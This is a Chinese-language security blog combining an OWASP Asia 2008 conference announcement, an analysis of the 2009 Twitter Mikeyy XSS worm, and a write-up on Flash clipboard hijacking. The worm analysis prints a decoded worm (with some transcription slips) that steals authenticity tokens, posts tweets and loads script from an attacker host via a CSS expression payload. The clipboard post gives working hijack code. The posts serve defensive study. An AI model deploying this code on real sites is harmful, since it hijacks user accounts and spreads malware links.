為何我選了兩位來自印度的講師來講滲透測試?我在印度聽過 KK 的課,也看過印度大大小小的滲透測試團隊實際上執行專案的情形。我的看法是,印度以軟體產業立國,但是並不是一開始就能從專業的軟體開發案獲利。就如同我們以電子製造業起飛,但是我們是慢慢由做勞力密集的聖誕燈泡,到做收音機,到做 PC 、筆電、手機,慢慢從勞力密集轉而能獨立研發。印度也一樣,軟體產業發展的初期,很依賴勞力密集的軟體測試。所以對於軟體測試的方法論,流程,執行,測試環境的設計,測試資料的建立,到與客戶的溝通,專案的執行等,非常的有經驗,因為這是他們的本行!滲透測試的技術研究,不計成本,目的在找到漏洞,這個歐美的研究員做得很好。可是商業滲透測試,講的是如何有效運用預算,了解客戶需求,達到最大效果,在這方面,印度的軟體測試產業行之有年,商業模式很成熟,我相信他們的經驗會對各位有幫助。

滲透測試與其他顧問服務,在美國又是如何進行的呢?McAfee Foundstone 是美國前幾大專門的資安顧問公司,陳彥銘自 CMU 畢業之後,就加入了 Foundstone 至今,以經是資深的 Director,帶領 Foundstone 團對於美國各地進行滲透測試、顧問服務與教育訓練。他將以「我在 Foundstone 的日子:Web 威脅與防禦實例」,與各位分享他的經驗。

在台灣的滲透測試方面,來自俄羅斯的 Fyodor 長期於台灣進行滲透測試,他將以一場「網站被駭的真實故事集」,探討這許多年來,他在台灣看到的種種真實故事,讓各位直接接觸這些造成嚴重損失的 Web 漏洞--很多漏洞看了會心一笑,原來這樣設計也會有漏洞。攻擊方法並不難,但是簡單的錯誤卻會造成嚴重的損失。

Web 防火牆 WAF 方面,我選擇跟跟今年美國年會、歐洲年會一樣,由德國 OWASP 分會的 Alex Meisel 來負責。Alex Meisel 上個月在美國年會,以及之前在今年歐洲年會,以德國分會的名義,發表了一篇 whitepaper:「Web 防火牆(WAF)最佳實務指引」(Best Practices Guide: Web Application Firewalls),很受大家肯定,如果您目前正困擾 WAF 該如何選擇,歡迎來與 Alex 探討!

網站掛馬方面,全球最有權威性的組織之一,就是 ShadowServer Foundation 了。ShadowServer Foundation 長期監控全球僵屍網路(botnet)與網站掛馬,擁有豐富資料,堪稱美國此方面研究最深入之組織之一。今年的美國年會,找了 ShadowServer Foundation 的重要成員 Steven Adair 來擔任這方面的講師,我也非常努力的邀到他來台灣與各位互動。如果有需要與 ShadowServer Foundation 交換情報與研究資料的單位,請與我聯絡!

對於亞洲區網站掛馬的研究,邱銘彰一向是大家很肯定的研究員之一,他也是各會議爭相邀請的講師。我跟他從不認識到認識到變成朋友到變成同事,也從他身上學到不少寶貴的知識。我們將一起公開一份我們最新的掛馬研究,是我們先用英文寫完,然後也翻成中文的,努力了半年,留在 OWASP 亞洲年會發表。我們將探討目前掛馬的工具與手法,仔細研究各種惡意 javascript 的寫法以及變形、加殼與資料隱藏的技術,並與各位討論為何惡意 javascript 這麼難偵測。由於我長期研究動態與靜態分析技術,我也會探討這兩種技術應用於網站掛馬偵測時的優劣。

對於亞洲利用 Web 攻擊的犯罪手法與事件分析,則由 PK 與 Jack 來負責講「網路犯罪研究與五千萬筆個資外洩事件調查建議」。很多圈內朋友稱 PK 為「台灣鑑識一哥」,Jack 則也多年研究網路攻擊於軍事上之應用,希望他們一起的演講,能讓各位對於層出不窮的 Web 網路犯罪,有更深入的了解。

最後,基本上,各地的 OWASP年會希望達到以下目的:
1. 由年會選出來的頂尖講師,對於最新的攻擊方法,防禦技術,以及客戶的成功案例,提供最新資訊與經驗分享。
2. 對於各界資安人士,包含各國OWASP成員,業界資安主管及IT從業人員,各國政府、軍方及情治單位,以及投入資安市場之廠商、代理商、系統整合商以及顧問公司,提供一個交流的機會,讓大家相互認識,分享經驗以及交流技術。

OWASP 每年有兩次官方會議,一次在歐洲,一次在美國。由於 OWASP 為 Web 資安之最大國際組織,其所定義之標準被五大信用卡公司之 PCI 標準、美國聯邦貿易委員會、FBI、美國國土安全部,以及各國政府所採用,故OWASP每年之官方年會,除了為年度世界資安頂尖人物必到之大會,更為各國政府,企業以及資安產業必定派人參加之國際盛會。我國行政院研考會之「Web應用程式安全參考指引」,亦將 OWASP Top 10 列為重要參考標準。

我想會議能夠在台北舉行,一方面證明了台灣資安之能量,展現了台灣各指導機關多年致力於資安意識之提升,各學術單位致力於資安基礎與應用之研究,產業界致力資安產品之研發與整合,以及媒體致力於各領域資安訊息之分析等之成果;一方面也證明了,台灣在資安有其獨特之政治與軍事意義,由於對資安有高於他國之需求,也造就了我們資安實力與經驗之累積,能夠在多年努力後,開始與他國分享我們的成果。最後最主要的,是大家踴躍的報名。您對於 OWASP活動的支持,是這次會議能夠在台北舉行之關鍵。因為這表示台灣有足夠的人士,在關心資安的議題,在投入資安的研究,您上次的出席,也讓我們有動力,再次募款並邀請最頂尖的講師前來。看到了這次講的的陣容,不難想像我們要在工作的空餘時間,募集資金,負責所有講師的機票與住宿,行程安排,簽證取得,大家真是把命賣了在做,希望您能把握這次機會,準時來參加活動,一方面從最頂尖的講師接觸最新的資安訊息,一方面也與大家認識。

去年超過1000人報名,卻因場地席次限制,許多欲與會者無法順利出席去年年會,座位有限,今年請早報名。
報名請直接回給我或 email 給:info@owasp.org.tw

1. 姓名:
2. 單位(或學校):
3. 職稱:
4. 電話:
5. Email:
6. 是否需要同步翻譯耳機? 如果是,是否用 200 元加購?還是放棄 T-shirt?
7. 中餐是否需素食?
8. 統一編號?公司 title?
9. 是否是學生票?學生票是否加購中餐(一天?兩天?)?加購 tshirt?

報名後三個工作天會收到匯款方式,匯款後三個工作天會收到序號,請用序號入場,如果沒有收到可以來電詢問:(02) 6616-0100 ext 111 林先生。
時間:97年10月27至28日(星期一至二) 09:00-17:00<
地點:台大醫院國際會議中心 201 室 (台北市中正區徐州路二號)
費用:
1. 全票 NTD 1000 元整(幫忙負擔午餐、點心、場地、T-shirt與機票費用等、不含耳機)
2. 學生票 NTD 300 元整(不含便當、如需便當一天 100 NTD, T-shirt 要另購,一件 300 NTD)
同步翻譯:會有專人同步翻譯(不是我們自己的工作人員,是外聘的同步口譯人員),同步翻譯耳機 200 元外加,或是放棄 T-shirt
T-Shirt:會有
公家單位公文: 會由最大贊助單位資策會發公文,以利請假作業

講師簡歷 (中文版)
Robert Hansen (aka“RSnake”)--SecTheory
CISSP、SecTheory 的 CEO,曾四次演講於 Black Hat,今年並為 Black Hat 與 DEFCON 雙講師(這裡有報導)。與 Jeremiah Grossman 著有知名之「XSS」一書(Syngress出版),今年 2008 OWASP 美國年會 的演講被禁講(ITHome 報導阿碼報導),為今年大會最轟動之事。他將在台灣首次公開此次禁講之內容。RSnake之部落格 ha.ckers.org 與論壇 sla.ckers.org 為駭客界被訂閱最多之部落格/論壇之一。負責 O'Reilly 與 Dark Reading 線上專欄(Snake Bytes @ Dark Reading),除了 Black Hat / DEFCON 之外,也在各大研討會中擔任講師,包含OWASP年會、微軟 Bluehat、WASC 各會議、Networld+Interop、SourceBoston、 Secure360、GFIRST/US-CERT、Toorcon、APWG、ISSA以及TRISC等會議。

RSnake曾任 eBay 資深全球產品資安經理、通訊網路公司資安架構師,工作內容是 anti-phishing、anti-DHTML malware,也曾擔任 Realtor.com 的產品管理總監。參與 NIST.gov 的 Software Assurance Metrics and Tool Evaluation 及 Web Application Security Scanners Evaluation Criteria (WASC-WASSEC)專家群組,也是
Infragard 、WASC、IACSP、 APWG、ISECOM 成員。

Steven Adair—ShadowServer Foundation
Steven Adair 是 ShadowServer Foundation 的重要成員之一,也是這次 2008 OWASP 美國年會的講師。ShadowServer Foundation 長期監控全球僵屍網路(botnet)與網站掛馬,擁有豐富資料,堪稱美國此方面研究最深入之組織之一。

Alexander Meisel—OWASP 德國分會、art of defence
Alexander Meisel 是德國 art of defence 公司技術長,負責該公司之 Web應用程式防火牆(Web application firewall、WAF)之研發。之前在歐洲最大的ISP-LINX擔任網路安全首席,曾負責大規模的網站安全稽核與流量管理,專長為Web Security。他的安全專業可以追朔到在學階段所提出的預防與追蹤DDoS攻擊研究。Alex 是今年 2008 OWASP 美國年會與 2008 OWASP 歐洲年會的講師。

K. K. Mookhey—OWASP孟買分會、NII Consulting
印度最有名的滲透測試公司 NII Consulting 創辦人兼總經理,專長為滲透測試、資安鑑識、風險評估、資安相關規範(PCI、ISO 27001、BS 25999、ISO 20000)、IT基礎架構管理等。擁有CISSP、CISA、CISM、CEH等證照。是印度最知名的資安專家之一,著作有Linux Security And Control(ISACA 出版)與 Metasploit Toolkit(Syngress出版)兩本專業書籍。KK 為今年 2008 OWASP 印度年會講師,並曾經擔任 Black Hat、Interop、IT Underground 等研討會講師,並為 Google、聯合國等大型客戶執行滲透測試專案。

Chenxi Wang, Ph.D.—Forrester Research
Dr. Chenxi Wang 是全球前三大市場調查研究機構 Forrester Research 的首席分析師,Forrester 出版的跟 Web 資安相關市場調查報告,都是出自她的研究。在加入 Forrester 之前,Dr. Wang 在卡內基美隆大學(Carnegie Mellon University)擔任助理教授,為當初幫助CMU成立著名資安實驗室 CyLAB 之關鍵人物之一。在 CMU 期間,Chenxi 負責執行了上百萬美元預算的研究專案,包過與美國國防部以及美國國家科學基金會(National Science Foundation、NSF)的共同研究專案。Chenxi 也曾擔任美國聯邦貿易委員會(Federal Trade Comission、FTC)、HP、Emerson、Lucent 等單位的資安顧問。

Chenxi 為今年 2008 OWASP 美國年會的講師,並定期在各大資安會議演講,其言論與發表常被美國主流媒體引述,包含 New York Times / InfoWorld 等媒體。

Wayne Huang(黃耀文)—OWASP台灣分會主席、Armorize 阿碼科技(大會主席)
Wayne 為 OWASP 台灣分會會長,也是阿碼科技的創辦人兼執行長,對於推動台灣的資安社群,不遺餘力,在台灣舉辦 SySCAN、OWASP 亞洲年會等資安會議。

Wayne 是一位豐富經驗的資訊安全專家,專長領域包括,網路、系統及應用程式安全。Wayne 最為人所熟知的專長領域在網頁應用程式安全,並在全世界發表了許多相關主題的期刊論文。除此之外,Wayne 也時常受邀擔任全球安全會議的演講者,包含 RSA、OWASP、SySCAN、WWW、PHP 與 DSN 等。Wayne 同時也是阿碼科技在推動技術創新的重要推手。

Wayne 是第一位連續二年在國際全球資訊網路會議(WWW Conference)獲獎的作者,並且是 《 Web Application Security-Past,Present,and Future 》一書的共同作者。

Yen-ming Chen (YM Chen) —McAfee Foundstone
Yen-Ming 於 2000 年加入 Foundstone 顧問團隊,現職為 McAfee Foundstone 的 Director,帶領 Foundstone 團隊於美國各地執行各種資安專案。Yen-Ming並為 Foundstone「Ultimate Hacking」、「Ultimate Hacking Expert」、「Ultimate Web Hacking」、以及「Ultimate Hacking: Incident Response」等四門課的首席講師。在加入Foundstone之前,他在CMU網路安全中心,曾參與Snort開發,製造出第一個在磁片上的Snort sensor(PicoBSD)。是Hacking Exposed、Hacking Exposed for Web Application、Windows XP Professional Security及HackNotes: Web Application Security的四本書的共同作者。Yen-Ming 曾被 BBC 採訪,並經常於國際大型研討會擔任主要講師,其中包含 PacSec、HITB、HACK.LU、台灣駭客年會、CSI、MISTI、APAC 等會議。

Fyodor Yarochki—GuardInfo
Fyodor經常擔任各國際駭客年會之講師,包含Black Hat 2001 HK、Black Hat 2001 Singapore、Black Hat 2002、Ruxcon 2003、XCon 2003 / 2006、HITB 2004 / 2005、SyScan 2005 / 2008、Bellua 2005、VNSecurity 2007、DeepSec 2008等。他於頂尖資安學術會議與地下雜誌皆有重要文章發表,包含Usenix Conference與Phrack
Magazine(最具影響力之地下駭客雜誌)。Fyodor並為Snort最早的開發者之一,目前仍為Snort FAQ的維護者。Fyodor並為XProbe的創辦人。

PK
台灣鑑識一哥,論鑑識現場之經驗,屬台灣最具經驗之前輩之一。對於逆向工程、作業系統核心、活體鑑識技術等,皆有深入之研究;長期使用Soft Ice等鑑識工具,頗具心得。在中央警察大學資管所就讀期間,主攻電腦鑑識方面之研究,爾後於台灣電腦網路危機處理暨協調中心(TWCERT/CC)擔任電腦鑑識實務班講師,授課內容包含惡意軟體的靜態與動態分析、數位資料於法律上之證據力、事件處理時數位證據之取得與保存等。目前研究興趣包含數位鑑識工具與惡意程式偵測工具之開發。今年為SySCAN前瞻資安年會、HITCon講師。

邱銘彰 (aka "Birdman") —Armorize
阿碼科技X-Solve實驗室首席研究員。Birdman利用其所研發之Archon與HackAlert技術,長期監控亞洲所有網站被掛馬之情況,專長各種惡意程式分析,日中一食,堪稱是節能環保省碳型多才多藝的後現代資安人才。經常於OWASP Asia、SyScan 2008 TW、HITCon與其他研討會擔任講師。

余俊賢 (Jack)—Armorize
現任阿碼科技資安顧問與ASF專家團隊講師,曾擔任資安人雜誌主編。Jack對於亞洲之特殊攻擊型態,長期投入研究,專長為資安事件處理與電腦鑑識,擁有CISSP、BS 7799 LA、CEH 等資安證照。曾於OWASP Asia、SyScan 2008 TW、HIT Con 與其他研討會擔任講師。

林佳明 (Charmi Lin) —ICST
現任行政院國家資通安全會報技術服務中心(簡稱技服中心)工程師。Charmi主要的工作為協助政府機關處理各種資安事件,charmi經常參與政府機關受駭後的資安事件調查與進行電腦鑑識工作,對於目前台灣正面臨的組織型駭客攻擊有深刻的體會。擁有GCFA與 BS 7799 LA 證照。經常於資安人雜誌投稿相關資安技術文章。

Tim Bass—OWASP 泰國分會主席
前首席網路資安顧問,美國空軍總部。前首席網路顧問,美國國防部。前首席網路資安顧問,美國能源部。前 SWIFT 資安顧問。Tim 常擔任各資安會議 keynote。Tim 是 Unix Forums 的 Director。Blog:www.thecepblog.com

Dhruv Soi—OWASP 印度年會主席、OWASP 印度分會主席
Dhruv 在多家公司任職弱點研究員與資安首席,包括 FCS Software Solutions、Momentum Technologies、iPolicy Networks、Fidelity Investments、Sopra Group等。

-- Wayne 敬上(email: wayne@owasp.org.tw
OWASP 台灣分會會長

繼續閱讀全文...

2009年4月19日

為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明

Mikeyy mikeyy one more time...oops, I did it again...

經過一個星期,Mikeyy蠕蟲發威了五次,twitter也號稱將所有相關的XSS(跨網站腳本)漏洞都修復了。結果昨天Mikeyy再度發威,twitter也再度公佈,並在幾小時候宣布已經修補漏洞。沒想到18小時後,Mikeyy又重現,twitter也又趕快公佈並著手處理...(見上圖。)

這次蠕蟲來的猛,幾個小時內發出超過一萬五千封假tweet訊息:


難道說這麼簡單到不行的twitter介面,在經過一個星期後,還是無法正確修補XSS(跨網站腳本)漏洞?不...會...吧?事實上也是這樣,六代跟一至五代的XSS攻擊字串不同,證明了twitter的修補方法都是錯的,我們這邊就藉此實例來說明,為何XSS(跨網站腳本)那麼難修補?

這次的蠕蟲放在:hxxp://runebash.net/xss.js,有經過一層的混碼(obfuscation):

var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28

Google了半天,竟然沒有人貼出解碼後的版本(連解碼前之以上版本都找不到),真是苦命,都沒人想研究嗎?只好自己手動解一下:

function wait() {
var content = document.documentElement.innerHTML;
var tmp_cookie=document.cookie;
var tmp_posted=tmp_cookie.match(/posted/);
authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken=authreg.exec(content);
var authtoken=authtoken[1];
var randomUpdate= new Array();
randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
var updateEncode=urlencode(randomUpdate[genRand]);

var ajaxConn= new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var _0xf81bx1c="Mikeyy";
var updateEncode=urlencode(_0xf81bx1c);
var ajaxConn1= new XHConn();
ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
var XSS=urlencode(genXSS);
var ajaxConn2= new XHConn();
ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");

} ;
setTimeout(wait(),5250);

重點在第34行,也就是這次攻擊的字串:
var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";

恩,沒錯,字串中沒有「<」或「>」或「"」等字元,當然也沒有「<script>」或「<script src=」等字串,但是還是有效達成XSS(跨網站腳本)的效果。

我們看一下被感染後使用者的原始HTML(節錄):

ul.sidebar-menu li.active a {
font-weight: bold;
color: #341957;
background-color: #000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}

恩,沒錯,這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下,其中就帶有「<script>」字串:
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); 

有效防範XSS之難處在於,每個網站的架構之不同,可能造成多層的字串編解碼步驟,所以如何有效處理外來(不安全)的字串,因各網站而異,開發人員需要充分了解XSS的原理,才能有效避免。這個題目太大,晚上就要上飛機到RSA參展,目前無法寫太多,但是簡而言之,應盡量避免黑名單之使用,而採用白名單(比較資料型態,長度,合法性等)。以twitter的例子,twitter就是認為以黑名單方式過濾掉「<」或「>」或「"」等字元,就可以避免XSS了,但是當然不是這樣子,以這次六代的攻擊字串為例,其中並無包含任何以上字元,然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多,其中RSnake(ha.ckers.orgsla.ckers.org,OWASP有來台灣)的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整,可以參考。

為何說twitter是用黑名單方式?其實之前就測出來了,也有人通知,但是可能email都進垃圾信了,才會又讓Mikeyy捲土重來。其實不用測試,twitter的API手冊上,早就自己承認了:

手冊上直接說:為了避免cross-site scripting漏洞,「<」與「>」會經過編碼...這個在駭客的眼裡,其實是說:我很有可能有XSS漏洞,快來打我。黑名單絕對不是有效防止XSS(跨網站腳本)的方法。這是因為在很多情況下,是不需要「<」與「>」,甚至「"」等字元,就可以攻擊成功的。

在問題終於排除後,twitter再次宣布「問題已經控制住了(under control)」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢?



作者 Wayne 為阿碼科技CEO

後記一:因為這次網路上似乎都沒有人公開攻擊碼,剛才寫信給RSnake(ha.ckers.orgsla.ckers.org),他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區,看一下上面從Samy一路下來到都有收錄,幫他推一下,想研究XSS蠕蟲看這:http://sla.ckers.org/forum/read.php?2,14477

後記二:有朋友寫信來問,我才發現這系列幾篇中都忘記提了:注意攻擊方式是用「Post」非「Get」,很久以前的傳說:【使用「Post」非「Get」,就可以避免XSS】...當然一直都只是傳說。

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」(本篇)
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」


繼續閱讀全文...

2008年8月17日

The Register:神秘Web攻擊綁架剪貼簿!

本來要睡午覺了,看到 The Register 八月十五號這篇,突然好奇起來:

The Register: Mystery web attack hijacks your clipboard(神秘 Web 攻擊綁架剪貼簿)

要讓我一腳已經踏到床上又起來,當然要有很好的原因。這篇引起我興趣的原因有:

一、歐洲最大 IT 媒體之一的 The Register 報的
二、「神秘」這兩個字--最近資安界已經很久沒有「神秘」的攻擊了...
三、「Web 攻擊」--我對 Web 安全的議題特別有興趣,而 The Register 也還蠻專業的,沒有寫成「Web 病毒」。沒錯,Web 上的威脅大部分不是病毒,所以用攻擊(attack)來形容通常比較貼切,所以似乎記者還算專業。

好,爬起來看看寫些什麼。小標題:「No, MACs are not immune(抱歉,MAC 並不免疫)」。

OK,文章基本上在講,最近有一種 Web 上的攻擊,綁架使用者的剪貼簿,不論你貼上什麼東西,等到貼出來,都會變成一個惡意的連結。報導中:

一、列舉了一堆受害者上網的留言(這裡 這裡 這裡 這裡

二、報導說這些受害的使用者有用 Windows 系統的也有用 MAC OS X 系統的,雖然以上四篇都是用 Firefox,但是不排除其他瀏覽器也可能受攻擊。

三、報導建議使用 Firefox 的 noscript 外掛

OK,福爾韋恩小偵探出現了...根據上述證據,福爾韋恩的推論:

一、記者厲害,沒寫成病毒,而寫成 Web 攻擊。可能因為他引述的那四篇求救文,有人是跑 MAC OS 2 而有人跑 Windows,所以他從中知道,大概不是病毒,而是一種對瀏覽器的攻擊。

二、報導說惡意的網址是 xp-vista-update.net(點下去自行負責,我剛才用 HackAlert 掃過沒有問題,但是現在沒有問題不代表你點的時候沒有問題,這種惡意網頁隨時在改內容)。做一下 whois,這個網域電話是南斯拉夫的、DNS 是惡名昭彰的 estboxes.com、IP 為 83.229.251.28 是俄羅斯的 IP。福爾韋恩:有目的、組織性攻擊之可能提升!

三、福爾韋恩依稀記得,IE 才是笨到會讓 javascript 存取剪貼簿的瀏覽器(CVE-2002-1671),而且 2002 年被報有問題,到 2006 年底出IE 7 才把問題修掉。可是記者說受害者都是用 Firefox... 聰明的 Firefox 預設是不讓 javascript 存取剪貼簿的... 所以兇手...一定是最近 PDP RSnake 都一直在講的--Adobe Flash!其實福爾韋恩也依稀記得,Flash 可以存取剪貼簿...

四、報導說受害者是在瀏覽 MSNBC.COM 時被攻擊綁架剪貼簿的。福爾韋恩:很有可能是駭客組織向 MSNBC.COM 買了廣告 banner,並在廣告中利用 Flash 來達成攻擊。以 MSNBC.COM 的流量,影響人數應該不少。

是否真的是這樣呢?

再確定技術細節以前,我們先來看看,這種攻擊的效果是什麼?如果只是單純能寫入剪貼簿,這樣的一個網頁(或廣告頁)能造成什麼威脅?因為其時還有第五點:

五、即使這種攻擊可以做到,還真的有人受害出來求救,表示技術面如何達到先不管,但這種攻擊確實有其威脅性。但是如果只是寫入剪貼簿,那威脅性在哪?

Google 了一下,發現威脅自七月中開始,並蠻多人抱怨的:

七月12日,有人被攻擊,無法解除狀況,貼文出來,並用趨勢掃瞄未發現病毒。

八月08日,有人貼文對美國大選發表意見,卻遭攻擊,直接把惡意連結貼出來。該使用者「Old Owl333」在貼文的時候一定是先 CTRL-C 複製然後再 CTRL-V 貼出,沒想到剪貼簿遭綁架,貼出了惡意的連結:




八月07日,有人快瘋了,剪貼簿一直被植入惡意連結

惡意連結到底連到哪裡?做什麼?

八月10日,Kayrac 做了分析:



惡意連結「http://xp-vista-update.net/?id=xx」根據後面參數「id=xx」之不同,轉址到不同的網站,但是大部分都是到某網站騙使用者下載一個偽掃毒軟體「Internet Scanner 2009」或「AV 2009」。根據 八月10日,Kayrac 貼的文,把此程式放到 virustotal 測試,沒有幾家會偵測出它是偽的。

其實如果 Google 「xp-vista-update」,可以發覺中獎而跑出來貼文的還真不少。但是這邊就顯示了 The Register 記者的功力:大部分受害者貼文,都用了「病毒(virus)」一辭來形容此攻擊,但是記者卻正確的用了 「Web 攻擊」來形容。

調查到此,福爾韋恩已經確定,此為有組織性,有目的性之 Web 攻擊行為,其攻擊手法的確會造成威脅,並確實可以達到攻擊者的目的。

好了,現在來調查技術上到底如何達成的。我先寫一段可以寫剪貼簿,但是只在 IE 中有效的 javascript。為了此 javascript 顯示出來好看,我用 syntaxhighligher 來顯示。syntaxhighlighter 是很流行的一套 javascript,可以顯示很漂亮的程式碼。以下是一段在 IE 執行時可以寫入剪貼簿的 javascript:


<textarea name="prettyprint" class="javascript">
<button onClick="IE_ClipBoard();">Copy to Clipboard</button>
<script>
function IE_ClipBoard()
{
if (window.clipboardData) {
window.clipboardData.setData("Text","Hello from Wayne!");
}
}
</script>

(Code 1)


執行起來如以下,如果您正在用 IE 可以按下按鈕看看,然後再找地方 CTRL-V 貼上,就會發現剪貼簿被改了。但是如果是 IE 7 以上,會發現 IE 會問你是否允許存取剪貼簿。

(Test 1)


既然 IE 7 已經修正此安全性漏洞,firefox 上則預設不允許,除非你修改設定,不然連問都不會問,反正就是不行... 那麼,唯一的兇手就是... flash 了。

其實上方用來顯示漂亮程式碼的 syntaxhighligher,早就透露了破案線索了。仔細觀察,程式碼視窗上面有一個灰色的小字:「copy to clipboard」。試試看按下去,你會發現程式碼已經貼到您的剪貼簿了,但是 IE 沒有問你是否允許,firefox 也直接 work... :)

為何?都是 Adobe flash 的漏洞... 但是這種東西比漏洞嚴重,漏洞會被修改,這種算是「功能」,短期內不太可能改。為何?因為一旦功能公開,就會有很多人使用,一旦大家用了一個功能,要將此功能取消,就很不容易了。如果您 Google 「_clipboard.swf」或「clipboard.swf」或「flash copier」就會發現有多少程式都用了這個偉大的功能了。

這個手法主要是利用Flash ActionScript:System.setClipboard 這個含式來寫入剪貼簿。

程式碼分兩部分,一部分是一小段 Flash ActionScript,編譯成一個 flash SWF 檔(這裡可以下載),另一部分則是一小段 javascript。

Flash action script 的程式碼如下(這裡可以下載編譯好的 SWF 檔):


if (clipboard.length) System.setClipboard(clipboard);

(Code 2)


Javascript 程式碼則如下:


var flashcopier = 'flashcopier';
if(!document.getElementById(flashcopier)) {
var divholder = document.createElement('div');
divholder.id = flashcopier;
document.body.appendChild(divholder);
}
document.getElementById(flashcopier).innerHTML = '';
var divinfo = '&lt;embed src="http://www.openwaves.net/armorize_blog/dp.SyntaxHighlighter/'+
'Scripts/clipboard.swf" FlashVars="clipboard='+
encodeURIComponent("Hello from Wayne!") +
'" width="0" height="0" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;';
document.getElementById(flashcopier).innerHTML = divinfo;

(Code 3)


好了,現在您是否想被「駭」一下呢?以下是我猜測這次攻擊的程式碼:


<button onClick="Trigger_Attack();">Hijack my clipboard!</button>

<script>
var flashcopier = 'flashcopier';
if(!document.getElementById(flashcopier)) {
var divholder = document.createElement('div');
divholder.id = flashcopier;
document.body.appendChild(divholder);
}

function Trigger_Attack()
{
setInterval("ClipBoard_Attack();",500);

}

function ClipBoard_Attack() {
document.getElementById(flashcopier).innerHTML = '';
var divinfo = '<embed src="http://www.openwaves.net/armorize_blog/dp.SyntaxHighlighter/'+
'Scripts/clipboard.swf" FlashVars="clipboard='+
encodeURIComponent("Hello from Wayne!") +
'" width="0" height="0" type="application/x-shockwave-flash"></embed>';
document.getElementById(flashcopier).innerHTML = divinfo;
}
</script>

(Code 4)


跑起來就像下面這樣,按下按鈕就綁架你的剪貼簿:

(Test 2)


原來元兇就是 Adobe Flash 啊!您猜到了嗎?

於是福爾韋恩調查成功,回去寫報告曰:
一、此次 The Register 報導之「神秘 Web 攻擊綁架剪貼簿」事件,元兇再次為 Adobe Flash。

二、此為 Flash 存在已久之功能,許多網站皆運用此功能,故短期內 Adobe 不容易取消此功能,威脅將持續一段時間。

三、了解此類攻擊甚為重要,此類即今年與去年各大資安會議,Jeremiah、PDP RSnake 三位研究員一直在提的 client-side 攻擊。由於這些攻擊大部分利用第三方外掛之漏洞甚至「功能」,問題短時間不易改善。試想如果攻擊 IE 漏洞,則攻擊對 firefox 就無效;然針對各瀏覽器皆有普遍安裝之第三方外掛,如 Adobe Flash、PDF 等攻擊,則可以跨瀏覽器。本事件便是一例。

四、此類為 Web 攻擊,其中 Javascript 又可以經過各種方式加殼與變形,防毒軟體幾乎沒有可能偵測到。

